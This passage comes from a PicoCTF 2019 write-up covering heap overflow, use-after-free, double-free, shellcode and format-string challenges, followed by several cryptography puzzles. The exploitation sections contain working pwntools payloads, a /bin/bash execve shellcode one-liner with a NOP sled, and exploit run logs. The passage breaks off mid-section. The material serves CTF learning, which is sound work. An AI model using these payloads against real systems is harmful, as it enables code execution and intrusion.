                    | 72                     | 1 |
    name ------->   +------------------------+---+ --+
                    | User Data                  |   |
                    +                            +   |
                    |                            |   |
                    +                            +   | 66 bytes
                    |                            |   |
                    |                            |   |
                    +                            +   |
                    |                            | --+
    ----------------+------------------------+---+
                    | 72                     | 1 |
    lastname --->   +------------------------+---+ --+
                    | User Data                  |   |
                    +                            +   |
                    |                            |   |
                    +                            +   | 66 bytes
                    |                            |   |
                    |                            |   |
                    +                            +   |
                    |                            | --+
    ----------------+----------------------------+
   ```

   The sizes are a result of taking the size that the user requested, adding 4 for the size DWORD itself and rounding up to the next multiple of 8 bytes.
3. Because the vulnerable buffer is allocated in the heap and not on the stack, the attacker cannot simply overwrite the return address to exploit the vulnerability and execute arbitrary code. However, we can overwrite the length of the second chunk of memory, as shown below, because this boundary tag is located immediately after the end of the first chunk. ![Image showing user data overflowing into length value for next memory chunk](https://2203535566-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MZKCwD-RpAyLnCo8v8r%2Fsync%2Fdcac4bbe2e86e59adb52748afc7693ffe5f41e5d.png?generation=1619558790566575\&alt=media)
4. We can overwrite the size field in the second chunk with the value `-4` by overflowing `fullname` by 4 bytes. Therefore, when `free()` attempts to determine the location of the third chunk by adding the size field to the starting address of the second chunk, it instead subtracts 4. `free()` is trying to determine if it should consolidate the first and second chunks. But, in order to determine if the second chunk is allocated, it needs to look at the `PREV_INUSE` bit of the third chunk. By setting the length to `-4` we can trick Doug Lea’s `malloc` into thinking that the start of the third contiguous chunk is 4 bytes before the start of the second chunk. If we write an even number (one where the `PREV_INUSE` is 0) in the 4 bytes before the length then `malloc` will see the second chunk as unallocated. Thus, the `free()` operation invokes the `unlink()` macro to consolidate the two chunks. ![Image depicting above description of malicious unlink technique](https://2203535566-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MZKCwD-RpAyLnCo8v8r%2Fsync%2Faf5fd807bc2c2adfadc2927b55f376d077801b31.png?generation=1619558791272658\&alt=media)
5. It is recommended to send -4 for the bytes containing `PREV_INUSE` since this number is even, has no NULL bytes and is interpreted as a large unsigned int which ensures that no `fastbin`-related logic will be involved.
6. The payload we'll be sending as input for `gets(fullname)` will be as follows:

   ```python
    # jump over the nop area, which will be destroyed by `unlink()` and push the
    # address of the `win()` function to the return address
    shell_code = asm('jmp l1; nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop; l1: push {}; ret;'.format(hex(exe.symbols["win"])))
    # add the shellcode and pad to the end of the block of memory, then create
    # the heading of a new fake block of memory with the `PREV_INUSE` bit
    # set to 0 followed by setting the length of the next block (`name`) to `-4`, thus
    # dlmalloc will believe the third block's `PREV_INUSE` is 0 and that the second
    # block is unallocated and can be consolidated with the first block
    payload = shell_code + (b'B' * (664-len(shell_code))) + p32(-4, sign="signed")*2
    # finally, overwrite the forward pointer to the address of `puts()`
    # in the Global Offset Table (the function to overwrite the return address of)
    # and the backward pointer to the address for the function specified by the
    # forward pointer to return to (our shell code, which the program tells us the
    # location of when it runs)
    payload += p32(exe.got["puts"] - 12) + p32(address)
   ```

   The above shell code makes the heap loop as follows (as described in step 4):

   ```
    -------------0--+------------------------+---+
                    | 672                    | P |
    firstname -->   +------------------------+---+ --+
                    | shellcode + filler         |   |
                    |                            |   |
                    |                            |   |
                    |                            |   | 666 bytes
                    |                            |   |
                    |                            |   |
                    +----------------------------+   |
                    | 100                    | 0 | --+
    ----------------+------------------------+---+
                    | -4                     | 0 |
    name ------->   +------------------------+---+ --+
                    | exe.got["puts"] - 12       |   |
                    +----------------------------+   |
                    | address of firstname       |   |
                    +----------------------------+   | 66 bytes
                    |                            |   |
                    |                            |   |
                    |                            |   |
                    |                            | --+
    ----------------+------------------------+---+
                    | 72                     | 1 |
    lastname --->   +------------------------+---+ --+
                    | User Data                  |   |
                    |                            |   |
                    |                            |   |
                    |                            |   | 66 bytes
                    |                            |   |
                    |                            |   |
                    |                            |   |
                    |                            | --+
    ----------------+----------------------------+
   ```
7. The address -12 is included in the malicious argument so that the `unlink()` method overwrites the address of the `free()` library call with the address of the shellcode. The shellcode jumps over the first 12 bytes because some of this memory is overwritten by `unlink()` when making the assignment BK->fd = FD.
8. The "Adapted shellcode" section of the [hint](https://www.win.tue.nl/~aeb/linux/hh/hh-11.html) was influential in creating the shellcode. The simple way out is to prefix our favourite shellcode with a 12-byte header:

   ```
    eb 0a    jmp 1f
    90       nop
    90       nop
    90       nop
    90       nop
    90       nop
    90       nop
    90       nop
    90       nop
    90       nop
    90       nop
    1f:
   ```
9. Run the [script.py](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Binary%20Exploitation/Heap%20overflow/script.py) to run the exploit and get the flag `python script.py USER=<username> PASSWORD=<password>`:

   ```
    [*] '~/Documents/PicoCTF/Binary Exploitation/Heap overflow/vuln'
        Arch:     i386-32-little
        RELRO:    Partial RELRO
        Stack:    Canary found
        NX:       NX disabled
        PIE:      No PIE (0x8048000)
        RWX:      Has RWX segments
    [+] Connecting to 2019shell1.picoctf.com on port 22: Done
    [*] <username>@2019shell1.picoctf.com:
        Distro    Ubuntu 18.04
        OS:       linux
        Arch:     amd64
        Version:  4.15.0
        ASLR:     Enabled
    [+] Opening new channel: 'pwd': Done
    [+] Receiving all data: Done (14B)
    [*] Closed SSH channel with 2019shell1.picoctf.com
    [*] Working directory: '/tmp/tmp.3yiJzWxN8Q'
    [+] Opening new channel: 'ln -s /home/<username>/* .': Done
    [+] Receiving all data: Done (0B)
    [*] Closed SSH channel with 2019shell1.picoctf.com
    [*] win address: 0x8048936
    [+] Starting remote process b'/problems/heap-overflow_4_3753f93c50c60685d83eea78243a85a0/vuln' on 2019shell1.picoctf.com: pid 1392682
    [*] fullname address: 0x92bc008
    [*] shellcode:
        00000000  eb 0c 90 90  90 90 90 90  90 90 90 90  90 90 68 36  │····│····│····│··h6│
        00000010  89 04 08 c3                                         │····│
        00000014
    [*] payload:
        00000000  eb 0c 90 90  90 90 90 90  90 90 90 90  90 90 68 36  │····│····│····│··h6│
        00000010  89 04 08 c3  42 42 42 42  42 42 42 42  42 42 42 42  │····│BBBB│BBBB│BBBB│
        00000020  42 42 42 42  42 42 42 42  42 42 42 42  42 42 42 42  │BBBB│BBBB│BBBB│BBBB│
        *
        00000290  42 42 42 42  42 42 42 42  fc ff ff ff  fc ff ff ff  │BBBB│BBBB│····│····│
        000002a0  1c d0 04 08  08 c0 2b 09                            │····│··+·│
        000002a8
    [+] picoCTF{a_s1mpl3_h3ap_222e5b52}
   ```

### Flag

`picoCTF{a_s1mpl3_h3ap_222e5b52}`


# slippery-shellcode

## Problem

> This program is a little bit more tricky. Can you spawn a shell and use that to read the flag.txt? You can find the program in /problems/slippery-shellcode\_5\_5cea4ae04c57923484bda350da9f4015 on the shell server. Source.

* [Program](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Binary%20Exploitation/slippery-shellcode/vuln/README.md)
* [Source](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Binary%20Exploitation/slippery-shellcode/vuln.c)

## Solution

1. Get some quality shellcode from [ShellStorm](http://shell-storm.org/shellcode/)
2. I used `Linux/x86 - execve(/bin/bash, [/bin/sh, -p], NULL) - 33 bytes by Jonathan Salwan` at <http://shell-storm.org/shellcode/files/shellcode-606.php>
3. The buffer is 512 bytes so buffer\_size-payload\_size=no\_op\_sled\_size: `512-33=479`
4. Create payload&#x20;

```
(python2 -c "print '\x90'*479 + '\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80'" ; cat) | ./vuln
```

1. Run `cat flag.txt`

### Flag

`picoCTF{sl1pp3ry_sh311c0d3_ecc37b22}`


# AfterLife

## Problem

> Just pwn this program and get a flag. It's also found in /problems/afterlife\_2\_049150f2f8b03c16dc0382de6e2e2215 on the shell server. Source.

* [Program](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Binary%20Exploitation/AfterLife/vuln/README.md)
* [Source](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Binary%20Exploitation/AfterLife/vuln.c)

## Solution

1. This problem is nearly identical to the "SecondLife" challenge. I recommend reading that write-up first since it covers the concepts needed to understand the following steps. Compared to "SecondLife," instead of freeing the first chunk twice, this program simply writes to the first chunk on lines 32 and 33 after it has been freed on line 29. This is known as a use-after-free exploit. The setup is exactly the same as the double-free exploit. The call to `malloc()` on line 34 replaces the GOT address of `exit()` with the address of the shellcode, and the call to `exit()` on line 35 invokes the shellcode.
2. Use-after-free vulnerability:

   ```cpp
    free(first); // <-- 'first' is freed
    free(third);
    fifth=malloc(128);
    puts("you will write on first after it was freed... an overflow will not be very useful...");
    gets(first); // <-- 'first' is used
   ```
3. We can use the same payload code as before:

   ```python
    shell_code = asm('jmp l1; nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop; l1: push {}; ret;'.format(hex(exe.symbols["win"])))
    payload = p32(exe.got["exit"] - 12) + p32(address + 8) + shell_code
   ```

   We add 8 bytes to address (which is the base address of the `first` buffer) since that's where we located our shellcode, right after `p32(exe.got["exit"] - 12) + p32(address + 8)`.
4. Note: Line 25 in this challenge is different than in "SecondLife". `fgets(first, LINE_BUFFER_SIZE, stdin);` was changed to `strncpy(first,argv[1],LINE_BUFFER_SIZE);`. So we need to specify and argument to the process when we launch it from the command line to get past line 25. Previously we just sent a single enter since `fgets` was used instead of `strncpy`.
5. Run the [script.py](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Binary%20Exploitation/AfterLife/script.py) `python script.py USER=<username> PASSWORD=<password>`:

   ```
    [*] '~/Documents/PicoCTF/Binary Exploitation/AfterLife/vuln'
        Arch:     i386-32-little
        RELRO:    Partial RELRO
        Stack:    Canary found
        NX:       NX disabled
        PIE:      No PIE (0x8048000)
        RWX:      Has RWX segments
    [+] Connecting to 2019shell1.picoctf.com on port 22: Done
    [*] <username>@2019shell1.picoctf.com:
        Distro    Ubuntu 18.04
        OS:       linux
        Arch:     amd64
        Version:  4.15.0
        ASLR:     Enabled
    [+] Opening new channel: 'pwd': Done
    [+] Receiving all data: Done (14B)
    [*] Closed SSH channel with 2019shell1.picoctf.com
    [*] Working directory: '/tmp/tmp.iglmDgay5w'
    [+] Opening new channel: 'ln -s /home/<username>/* .': Done
    [+] Receiving all data: Done (0B)
    [*] Closed SSH channel with 2019shell1.picoctf.com
    [*] win address: 0x8048966
    [*] exit address: 0x804d02c
    [+] Starting remote process b'/problems/afterlife_2_049150f2f8b03c16dc0382de6e2e2215/vuln' on 2019shell1.picoctf.com: pid 1695575
    [*] first address: 0x8836008
    [*] shellcode:
        00000000  eb 0c 90 90  90 90 90 90  90 90 90 90  90 90 68 66  │····│····│····│··hf│
        00000010  89 04 08 c3                                         │····│
        00000014
    [*] payload:
        00000000  20 d0 04 08  10 60 83 08  eb 0c 90 90  90 90 90 90  │ ···│·`··│····│····│
        00000010  90 90 90 90  90 90 68 66  89 04 08 c3               │····│··hf│····│
        0000001c
    [+] picoCTF{what5_Aft3r_187f3d9a}
   ```

### Flag

`picoCTF{what5_Aft3r_187f3d9a}`


# SecondLife

## Background

This is double free vulnerability in Doug Lea's malloc. This challenge is an example taken from [Secure Coding in C and C++](https://www.amazon.com/Secure-Coding-2nd-Software-Engineering/dp/0321822137). A complete analysis of the example exists in the book (section 4.7, Double-Free Vulnerabilities), and this writeup is inspired by it. It is also recommended that you read the "Heap overflow" writeup before reading this one since it explains the basics of heap overflows. The double free vulnerability takes advantage of an overflow on the heap.

Double free vulnerability:

```cpp
    free(first); // <-- 'first' is freed
    free(third);
    fifth=malloc(128);
    free(first); // <-- 'first' is freed again
```

The double free vulnerability arises from freeing the same chunk of memory twice without its being reallocated between the two free operations.

Using this vulnerability, it is possible to write a DWORD (4 bytes) to an arbitrary memory location, as long as the following additional conditions are met:

1. The chunk to be freed must be isolated in memory (that is, the adjacent chunks must be allocated so that no consolidation takes place).
2. The bin into which the chunk is to be placed must be empty. An empty bin has forward and backward pointers that are self-referential.
3. Some other chunk needs to be freed after the double-free chunk is freed for the first time. This is because when a chunk is freed for the first time, it is moved to a special bin which acts as a "cache bin". When another allocation is performed, the chunk in the cache bin will be checked first and if it is compliant with the allocation requirements, it will be used. If, on the other hand, another chunk has been freed while a chunk is in the cache bin, the newly freed chunk will replace the older chunk in the cache bin and the older chunk will move to a regular bin. The attack requires the double-free chunk to be in a regular bin.

Empty bin and allocated memory chunk:

![Empty bin image](https://2203535566-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MZKCwD-RpAyLnCo8v8r%2Fsync%2Fdbca3d578e31d1fb26cc19e1e0f406f93b0941c0.png?generation=1619558783969903\&alt=media)

Structure after the memory chunk is freed for the first time:

![Bin with chunk image](https://2203535566-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MZKCwD-RpAyLnCo8v8r%2Fsync%2Ffae2518b5ea69aa0dd83941a73288c9b27e29de6.png?generation=1619558784255223\&alt=media)

When a chunk of memory is freed, it must be linked into the appropriate double-linked list. In `dlmalloc`, this is performed by the `frontlink` code segment:

```cpp
BK = bin;
FD = BK->fd;
if (FD != BK) {
    while (FD != BK && S < chunksize(FD)) {
        FD = FD->fd;
    }
    BK = FD->bk;
}
P->bk = BK;
P->fd = FD;
FD->bk = BK->fd = P;
```

The `frontlink` code segment is executed after adjacent chunks are consolidated. The `frontlink` function is still called if a chunk is not consolidated with its neighboring chunks. After the frontlink code segment executes, the bin’s forward and backward pointers reference the freed chunk, and the chunk’s forward and backward pointers reference the bin. This is the expected behavior, as we now have a double-linked list containing the free chunk.

However, if the memory chunk referenced is freed a second time, the data structure is corrupted. As shown below, the bin’s forward and backward pointers still reference the chunk, but the chunk’s forward and backward pointers become self-referential.

![Image showing the corrupted internal state of the heap manager after the second call to free](https://2203535566-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MZKCwD-RpAyLnCo8v8r%2Fsync%2Feb2e2a53a02031e0e896a6ca3c79345b0470ab83.png?generation=1619558784419528\&alt=media)

The bin's doubly-linked list still points to the chunk, but the chunk itself doesn't point back to the bin. So, the chunk can still be allocated, but it is impossible to actually remove it from the bin with `unlink()` as part of the allocation process. Invoking the `unlink()` macro to remove the chunk from the bin will leave the pointers unchanged. Instead of the chunk being removed from the bin, the data structures remain exactly as they appeared in the figure before the memory allocation request. This brings the heap manager to a state where it will continue to provide the same chunk for all future allocation requests which match the bin criteria.

## Problem

> Just pwn this program using a double free and get a flag. It's also found in /problems/secondlife\_1\_b2d4198bf562d945454af6ac9fa3d8ae on the shell server. Source.

* [Program](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Binary%20Exploitation/SecondLife/vuln/README.md)
* [Source](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Binary%20Exploitation/SecondLife/vuln.c)

## Solution

1. How the [vuln.c](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Binary%20Exploitation/SecondLife/vuln.c) code meets the requirements for this exploit:
   1. `first=malloc(256);` (Line 22): allocate our target
   2. `second=malloc(256);` (Line 26): allocated and used to ensure that `first` and `third` will not be consolidated
   3. `third=malloc(256);` (Line 27): allocate and will be used later to move `first` from the cache bin to a regular bin
   4. `fourth=malloc(256);` (Line 28): allocate and used to ensure that `third` is not consolidated
   5. `free(first);` (Line 29): put `first` into the cache bin. When moving to the bin, the heap manager tries to consolidate the `first` chunk. However, the `second` chunk is allocated so it cannot be consolidated.
   6. `free(third);` (Line 30): frees the `third` chunk, thus moving the first chunk to a regular bin since `third` is now in the cache bin. The allocation of the `second` and `fourth` chunks earlier prevents the `third` chunk from being consolidated.
   7. `fifth=malloc(128);` (Line 31): allocates the `fifth` chunk, which causes memory to be split off from the `third` chunk, and as a side effect, the `first` chunk is moved to a regular bin (its one chance to be reallocated from the cache bin has passed)
   8. `free(first);` (Line 32): memory is now configured so that freeing the first chunk a second time sets up the double-free vulnerability
2. How to exploit the double free vulnerability:
   1. `sixth=malloc(256);` (Line 33): allocates the `sixth` chunk but `malloc()` returns a pointer to the same chunk referenced by `first`. This happens because `sixth` is the same size as first (aka the same bin).
   2. `puts("You..."); gets(sixth);` (Lines 34-35): the GOT address of the `exit()` function (minus 12) and the shellcode location are copied into this memory
   3. `seventh=malloc(256);` (Line 36): the same (as `first` and `sixth`) memory chunk is allocated yet again as the `seventh` chunk. However, this time, when the chunk is allocated, the `unlink()` macro copies the address of the shellcode into the address of the `exit()` function in the global offset table (and overwrites a few bytes near the beginning of the shellcode).
   4. `exit(0);` (Line 37): the `exit()` function is called and control is transferred to the shellcode
3. Recap: We allocate the memory block `first` and free it twice without consolidation to a regular bin with no blocks already in it. Then, when we allocate the `sixth` block and the heap manager tries to run the `unlink()` macro on the unallocated `first` block. However, the unlink does not work as intended since the forwards and backwards pointers in the `first` block are self-referential. Thus, the `first` block remains connected to the bin for `first`'s size and will always be returned when a size from that represents that bin is requested. We write the address in the GOT of some later function that is called (in this case `exit()`) followed by the address of our shellcode. When the `seventh` chunk is requested, the pointer to the `first` chunk is returned again. But this time the forward and backward addresses have been overwritten. Thus, when the `unlink()` macro runs, it will overwrite the GOT entry for the function (`exit()`) with the address of our shellcode.
4. Payload code:

   ```python
    shell_code = asm('jmp l1; nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop; l1: push {}; ret;'.format(hex(exe.symbols["win"])))
    payload = p32(exe.got["exit"] - 12) + p32(address + 8) + shell_code
   ```

   `address` is the address of `first` which is leaked (printed to terminal) by the program. We add `8` to this address because our shellcode is 8 bytes after the start of the `first` block. The first 8 bytes contain the GOT address of `exit()` (minus 12) and the address of the shellcode (plus 8). The "trampoline" `jmp` is necessary as explained in the "Heap overflow" challenge.
5. Run the [script.py](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Binary%20Exploitation/SecondLife/script.py) to get the flag `python script.py USER=<username> PASSWORD=<password>`:

   ```
    [*] '~/Documents/PicoCTF/Binary Exploitation/SecondLife/vuln'
        Arch:     i386-32-little
        RELRO:    Partial RELRO
        Stack:    Canary found
        NX:       NX disabled
        PIE:      No PIE (0x8048000)
        RWX:      Has RWX segments
    [+] Connecting to 2019shell1.picoctf.com on port 22: Done
    [*] <username>@2019shell1.picoctf.com:
        Distro    Ubuntu 18.04
        OS:       linux
        Arch:     amd64
        Version:  4.15.0
        ASLR:     Enabled
    [+] Opening new channel: 'pwd': Done
    [+] Receiving all data: Done (14B)
    [*] Closed SSH channel with 2019shell1.picoctf.com
    [*] Working directory: '/tmp/tmp.iYib94tjZQ'
    [+] Opening new channel: 'ln -s /home/<username>/* .': Done
    [+] Receiving all data: Done (0B)
    [*] Closed SSH channel with 2019shell1.picoctf.com
    [*] win address: 0x8048956
    [*] exit address: 0x804d02c
    [+] Starting remote process b'/problems/secondlife_1_b2d4198bf562d945454af6ac9fa3d8ae/vuln' on 2019shell1.picoctf.com: pid 1694128
    [*] first address: 0x89dc008
    [*] shellcode:
        00000000  eb 0c 90 90  90 90 90 90  90 90 90 90  90 90 68 56  │····│····│····│··hV│
        00000010  89 04 08 c3                                         │····│
        00000014
    [*] payload:
        00000000  20 d0 04 08  10 c0 9d 08  eb 0c 90 90  90 90 90 90  │ ···│····│····│····│
        00000010  90 90 90 90  90 90 68 56  89 04 08 c3               │····│··hV│····│
        0000001c
    [+] picoCTF{HeapHeapFlag_f26c09e1}
   ```

### Flag

`picoCTF{HeapHeapFlag_f26c09e1}`


# stringzz

## Problem

> Use a format string to pwn this program and get a flag. Its also found in /problems/stringzz\_2\_a90e0d8339487632cecbad2e459c71c4 on the shell server. Source.

* [Program](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Binary%20Exploitation/stringzz/vuln/README.md)
* [Source](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Binary%20Exploitation/stringzz/vuln.c)

## Solution

1. Even though the flag is loaded onto the heap, there’s still a pointer to it located on the stack:

```c
char * buf = malloc(sizeof(char)*FLAG_BUFFER);
FILE *f = fopen("flag.txt","r");
fgets(buf,FLAG_BUFFER,f);
```

1. So if we do %XX$s with the correct offset, we can print out the flag. (I don't know why this is true. Taken from [here](https://tcode2k16.github.io/blog/posts/picoctf-2019-writeup/binary-exploitation/#stringzz).)
2. The commented out section of the [script.py](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Binary%20Exploitation/stringzz/script.py) can find the offset
3. Run the [script.py](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Binary%20Exploitation/stringzz/script.py) to get the flag on the shell server

### Flag

`picoCTF{str1nG_CH3353_166b95b4}`


# Cryptography


# la cifra de

## Problem

> I found this cipher in an old book. Can you figure out what it says? Connect with nc 2019shell1.picoctf.com 1172.

* [Program](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Cryptography/la%20cifra%20de/vuln/README.md)
* [Source](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Cryptography/la%20cifra%20de/vuln.c)

## Solution

1. Output of `nc 2019shell1.picoctf.com 1172`:

   ```
    Encrypted message:
    Ne iy nytkwpsznyg nth it mtsztcy vjzprj zfzjy rkhpibj nrkitt ltc tnnygy ysee itd tte cxjltk

    Ifrosr tnj noawde uk siyyzre, yse Bnretèwp Cousex mls hjpn xjtnbjytki xatd eisjd

    Iz bls lfwskqj azycihzeej yz Brftsk ip Volpnèxj ls oy hay tcimnyarqj dkxnrogpd os 1553 my Mnzvgs Mazytszf Merqlsu ny hox moup Wa inqrg ipl. Ynr. Gotgat Gltzndtg Gplrfdo 

    Ltc tnj tmvqpmkseaznzn uk ehox nivmpr g ylbrj ts ltcmki my yqtdosr tnj wocjc hgqq ol fy oxitngwj arusahje fuw ln guaaxjytrd catizm tzxbkw zf vqlckx hizm ceyupcz yz tnj fpvjc hgqqpohzCZK{m311a50_0x_a1rn3x3_h1ah3xflc148k7}

    Yse lncsz bplr-izcarpnzjo dkxnroueius zf g uzlefwpnfmeznn cousex mzwkapr, cfd mgip axtfnj 1467 gj Lkty Bgyeiyyl Argprzn.

    Ehk Atgksèce Inahkw ts zmprkkzrk xzmkytmkx narqpd zmp Argprzn Oiyh zr Gqmexyt Cousex.

    Ny 1508, Jumlntjd Txnehkrtuy nyvkseej yse yt-narqpd zfmurf ceiyl (a sferoc zf ymtfzjo arusahjes) zmlt ctflj qltkw me g hciznnar hzmvtyety zf zmp Volpnèxj Nivmpr.

    Hjwlgxz’s yjnoti moupwez fapkfcej ny 1555 ay f notytnafeius zf zmp fowdt. Zmp lubpr nfwvkx zf zmp arusahjes gwp nub dhokeej wpgaqlrrd, muz yse gqahggpty fyd zmp itipx rjetkwd axj xidjo be rpatx zf g ryestyii ppy vmcayj, hhohs cgs me jnqfkwpnz bttn jlcn hzrxjdpusoety.
   ```
2. [guballa.de](https://www.guballa.de/vigenere-solver) is great at breaking Vigenère ciphers without knowing the key.

   The result:

   ```
    It is interesting how in history people often receive credit for things they did not create

    During the course of history, the Vigenère Cipher has been reinvented many times

    It was falsely attributed to Blaise de Vigenère as it was originally described in 1553 by Giovan Battista Bellaso in his book La cifra del. Sig. Giovan Battista Bellaso

    For the implementation of this cipher a table is formed by sliding the lower half of an ordinary alphabet for an apparently random number of places with respect to the upper halfpicoCTF{b311a50_0r_v1gn3r3_c1ph3raac148e7}

    The first well-documented description of a polyalphabetic cipher however, was made around 1467 by Leon Battista Alberti.

    The Vigenère Cipher is therefore sometimes called the Alberti Disc or Alberti Cipher.

    In 1508, Johannes Trithemius invented the so-called tabula recta (a matrix of shifted alphabets) that would later be a critical component of the Vigenère Cipher.

    Bellaso’s second booklet appeared in 1555 as a continuation of the first. The lower halves of the alphabets are now shifted regularly, but the alphabets and the index letters are mixed by means of a mnemonic key phrase, which can be different with each correspondent.
   ```
3. The flag is found at the end of the 4th line of output. ![Stats about the bruteforcing process](https://2203535566-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MZKCwD-RpAyLnCo8v8r%2Fsync%2F93724e8f30686f7abbf0696484d50bd3b93bad80.png?generation=1619558788356991\&alt=media)

### Flag

`picoCTF{b311a50_0r_v1gn3r3_c1ph3raac148e7}`


# b00tl3gRSA2

## Problem

> In RSA d is alot bigger than e, why dont we use d to encrypt instead of e? Connect with nc 2019shell1.picoctf.com 25894.

## Solution

1. Run `nc 2019shell1.picoctf.com 25894`

```
c: 57815126326093923236185780828975923133200522878557452390870456883515440528642167536803747941322559284194471301880831184375049408521327486560563277740668565677490872095919303574108987650457633864377449098953674268225360856713612093782972460048667200729242166386409098664867986711862098908584062960036249053871
n: 157847463302497252662544277589791143185923975522921166059858180482551957816021742934853967462755774626496767368758467309346738171067691945316670158280275671837492151727611658262787392308543243056437019027884283665423329385531974860426338707097143562911124606008275824897108139807573312761136578124929695271821
e: 102798229720827704058624171259134165163471339843047412737855058992260861979425729133199600001188324409623701543646797125749242899115616520714417794918297219527473616153153909309469518422043092916690361135134781912570527561162416572764140527303057017712606139457097065518745602444936727612425446027579066085729
```

1. Use [RsaCtfTool](https://github.com/Ganapati/RsaCtfTool) to run `python RsaCtfTool.py --uncipher 57815126326093923236185780828975923133200522878557452390870456883515440528642167536803747941322559284194471301880831184375049408521327486560563277740668565677490872095919303574108987650457633864377449098953674268225360856713612093782972460048667200729242166386409098664867986711862098908584062960036249053871 -n 157847463302497252662544277589791143185923975522921166059858180482551957816021742934853967462755774626496767368758467309346738171067691945316670158280275671837492151727611658262787392308543243056437019027884283665423329385531974860426338707097143562911124606008275824897108139807573312761136578124929695271821 -e 102798229720827704058624171259134165163471339843047412737855058992260861979425729133199600001188324409623701543646797125749242899115616520714417794918297219527473616153153909309469518422043092916690361135134781912570527561162416572764140527303057017712606139457097065518745602444936727612425446027579066085729`
2. Within a few seconds you should get an output of a whole bunch of zeros followed by the flag.&#x20;

### Flag

`picoCTF{bad_1d3a5_3468581}`


# b00tl3gRSA3

## Problem

> Why use p and q when I can use more? Connect with nc 2019shell1.picoctf.com 49851.

## Solution

1. Run `nc 2019shell1.picoctf.com 49851`

```
c: 9269536699699265669063996876183449426013023677812466440967814837350617037900282049804005999606452069607905278585144126284214604776352007320206242204584678688193210013471159890997627680894954392533996753013235462393207156304765379157505543533999626350532305370043389542585404146727701112755189936869897137546125841974367010960937950133678397726 
n: 53023048477898510482458653811989372419218837371063796289274915809338617743188682925802500284507148707878032855317656447646692819864000830091917098096680351826491670941475242192145621534512908814094787326864206640218221584804721345600283196760492110735337736483640934843900303550921096343394960797997930911828100786536812962014994852325098611681 
e: 65537
```

1. Paste `n` into <https://www.alpertron.com.ar/ECM.HTM> and paste `Euler's totient` value into `phi` variable of [script.py](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Cryptography/b00tl3gRSA3/script.py)
2. Run [script.py](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Cryptography/b00tl3gRSA3/script.py) and convert hex result to ascii with [this website](https://www.rapidtables.com/convert/number/hex-to-ascii.html)

### Flag

`picoCTF{too_many_fact0rs_6566973}`


# AES-ABC

## Problem

> AES-ECB is bad, so I rolled my own cipher block chaining mechanism - Addition Block Chaining! You can find the source here: aes-abc.py. The AES-ABC flag is body.enc.ppm

* [Source](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Cryptography/AES-ABC/aes-abc.py)
* [Source](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Cryptography/AES-ABC/body.enc.ppm)

## Solution

1. Header is the first three lines of `body.enc.ppm` so save those.
2. For the actual picture info extract from bytes to ints in blocks of 16 since that is what the [encryption script](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Cryptography/AES-ABC/aes-abc.py) does.
3. The [encryption script](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Cryptography/AES-ABC/aes-abc.py) encodes blocks by doing `(previous block + current block) % UMAX` so the [decryption script](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Cryptography/AES-ABC/script.py) does the opposite: `(current - previous) % UMAX`.
4. Run that for each block and convert back to bytes.
5. Copy the file header to a new image and append each block to that image.
6. See [ebc.png](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Cryptography/AES-ABC/ebc.png) for example on why we don't bother decrypting ebc. More info at [Wikipedia](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation)

### Flag

`picoCTF{d0Nt_r0ll_yoUr_0wN_aES}`


# john\_pollard

## Problem

> Sometimes RSA certificates are breakable

* [Certificate](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Cryptography/john_pollard/cert/README.md)

## Solution

